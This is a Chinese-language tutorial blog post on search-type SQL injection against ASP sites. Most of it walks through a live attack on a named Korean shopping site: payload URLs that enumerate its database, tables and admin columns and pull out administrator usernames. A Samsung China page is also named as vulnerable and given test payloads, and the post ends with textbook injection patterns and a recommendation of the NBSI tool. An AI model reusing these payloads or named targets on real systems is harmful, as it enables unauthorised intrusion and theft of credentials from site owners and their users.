ASP搜索型注入

2023-12-01 0 322

简单的判断搜索注入漏洞存在不存在的办法是先搜索\’,如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%\’and 1=1 and \’%\’=\’和2006%\’and 1=2 and \’%\’=\’,存在异同的话,就是100%有洞了。

这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and user>0 and \’%\’=\’ //得到当前数据库账号

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and db_name()>0 and \’%\’=\’ //得到当前数据库名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select count(*) from admin)>0 and \’%\’=\’ //返回错误页面,看来是没有admin这个表了

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0)>0 and \’%\’=\’ //得到当前数据库的第一个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’))>0 and \’%\’=\’ //得到当前数据库的第二个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’,\’oldpoint\’))>0 and \’%\’=\’ //得到当前数据库的第三个表名

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 name from lvhuana3.dbo.sysobjects where xtype=\’u\’ and status>0 and name not in(\’codechange\’,\’oldpoint\’,\’tbl_admin\’,\’tbl_afterservice\’,\’tbl_agent\’,\’tbl_bank\’,\’tbl_board\’,\’tbl_board2\’,\’tbl_brandbestLeft\’,\’tbl_brandbestRight\’,\’tbl_card\’,\’tbl_cart\’,\’tbl_catalogue\’,\’tbl_community\’,\’tbl_court\’,\’tbl_estimate\’,\’tbl_FAQ\’,\’tbl_mail_list\’,\’tbl_mem_add\’,\’tbl_mem_main\’,\’tbl_mem_out\’,\’tbl_mem_rboard\’,\’tbl_mileage\’,\’tbl_notice\’,\’tbl_ord_cash_receipt\’,\’tbl_ord_change\’\’tbl_ord_cs\’,\’tbl_ord_change\’,\’tbl_ord_cs\’,\’tbl_ord_main\’,\’tbl_ord_payment\’,\’tbl_ord_prd\’,\’tbl_ord_prd_return\’,\’tbl_ord_refund\’,\’tbl_ord_req_main\’,\’tbl_ord_req_prd\’,\’tbl_ord_request\’,\’tbl_ord_user\’,\’tbl_partition\’,\’tbl_prd_category\’,\’tbl_prd_click\’,\’tbl_prd_desc\’,\’tbl_prd_grade\’,\’tbl_prd_main\’,\’tbl_prd_model\’,\’tbl_recommand\’,\’tbl_saleshop\’,\’tbl_search\’,\’tbl_tax\’,\’tbl_zipcode\’,\’tempDesc\’,\’tempdesc2\’,\’tempmodel\’,\’tempPrdMain\’,\’tempPrdmodel\’,\’tempsize\’,\’tempstyle\’,\’tmpordprd\’,\’tmpordprd2\’,\’trace1\’))>0 and \’%\’=\’ //依次类推,得到所有的表

其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),1) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第一个列名c_employee_id

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),2) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第二个列名c_employee_name

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),3) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第三个列名c_password

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 col_name(object_id (\’tbl_admin\’),3) from tbl_admin)>0 and \’%\’=\’ //得到tbl_admin这个表里的第四个列名c_level

列名暴完,暴管理员账号密码。

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 c_employee_id from tbl_admin)>0 and \’%\’=\’ //得到第一个管理员的id为943hoon

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第二个管理员的id为champ

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第三个管理员的id为clark

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第四个管理员的id为hskim

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and \’%\’=\’ //得到第五个管理员的id为jajeong

http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%\’and (select top 1 c_c_password from tbl_admin)>0 and \’%\’=\’ //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。

一会再想别的办法吧。。。。。

另外说下,2.3 的啊D支持搜索型的注入方式是:

一般网站的搜索都是部分匹配的

有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=

构造注入语句 三星%\’and 1=1 and \’%\’=\’

      三星%\’and 1=2 and \’%\’=\’

两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%\’and 1=1 and \’%\’=\’ 返回时有的

我一般搜索代码是:

Select * from 表名 where 字段 like ’%关键字%’

这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)

这里如果关键字没有过滤的话,就可以这样来构造:

关键字=’ and [查询条件] and ‘%’=’

这样查询就变成

select * from 表名 where 字段 like \’%\’ and 1=1 and \’%\’=\’%\’

这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~

注入是不分家的,没必要什么型什么型的!~

《sql注入天书》的原话

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名 where 字段=49

注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名 where 字段=’连续剧’

注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段like ’%关键字%’

注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句:

Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’

当然手工是麻烦的

用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的

注入点只要写:

http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=%

再加个特征字符就可以了

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 安全教程 ASP搜索型注入 https://www.u-9.cn/security/jiaocheng-security/8032.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务